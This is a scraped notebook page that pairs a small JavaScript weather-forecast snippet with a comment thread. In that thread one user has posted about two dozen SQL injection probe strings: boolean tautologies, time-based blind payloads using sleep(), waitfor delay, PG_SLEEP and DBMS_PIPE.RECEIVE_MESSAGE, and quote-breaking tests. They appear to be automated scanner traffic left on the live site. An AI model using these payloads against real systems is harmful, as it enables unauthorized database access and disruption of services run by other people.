Would you like to clone this notebook?

When you clone a notebook you are able to make changes without affecting the original notebook.

Cancel

Forecast

node v0.12.18
version: 5.0.0
endpointsharetweet
forecastCities is an asynchronous function (defined below) that will return the three day forecast of the cities passed in. Use the object viewer pop up to select "Chart" and compare them:
var Promise = require("bluebird"); var R = require("ramda"); await forecastCities("New York", "San Francisco");
async function forecastCities() { var forecast = require("notebook")("tonic/forecast/2.0.0"); var promises = R.map(forecast.threeDay, arguments); return R.zipObj(arguments, await Promise.map(promises, R.identity)); }
Loading…

25 comments

  • posted a day ago by xsjybldb
    1
  • posted a day ago by xsjybldb
    1
  • posted a day ago by xsjybldb
    -1 OR 2+583-583-1=0+0+0+1 --
  • posted a day ago by xsjybldb
    -1 OR 2+805-805-1=0+0+0+1
  • posted a day ago by xsjybldb
    -1' OR 2+37-37-1=0+0+0+1 --
  • posted a day ago by xsjybldb
    -1' OR 2+195-195-1=0+0+0+1 or 'x3xKcKcu'='
  • posted a day ago by xsjybldb
    -1" OR 2+738-738-1=0+0+0+1 --
  • posted a day ago by xsjybldb
    if(now()=sysdate(),sleep(15),0)
  • posted a day ago by xsjybldb
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • posted a day ago by xsjybldb
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • posted a day ago by xsjybldb
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • posted a day ago by xsjybldb
    -1; waitfor delay '0:0:15' --
  • posted a day ago by xsjybldb
    -1); waitfor delay '0:0:15' --
  • posted a day ago by xsjybldb
    1 waitfor delay '0:0:15' --
  • posted a day ago by xsjybldb
    ihrioY1c'; waitfor delay '0:0:15' --
  • posted a day ago by xsjybldb
    -5 OR 687=(SELECT 687 FROM PG_SLEEP(15))--
  • posted a day ago by xsjybldb
    -5) OR 679=(SELECT 679 FROM PG_SLEEP(15))--
  • posted a day ago by xsjybldb
    -1)) OR 75=(SELECT 75 FROM PG_SLEEP(15))--
  • posted a day ago by xsjybldb
    PCfKDc9t' OR 849=(SELECT 849 FROM PG_SLEEP(15))--
  • posted a day ago by xsjybldb
    YVOdfbro') OR 12=(SELECT 12 FROM PG_SLEEP(15))--
  • posted a day ago by xsjybldb
    dMfS6qEm')) OR 648=(SELECT 648 FROM PG_SLEEP(15))--
  • posted a day ago by xsjybldb
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • posted a day ago by xsjybldb
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • posted a day ago by xsjybldb
    1'"
  • posted a day ago by xsjybldb
    @@sniC0

sign in to comment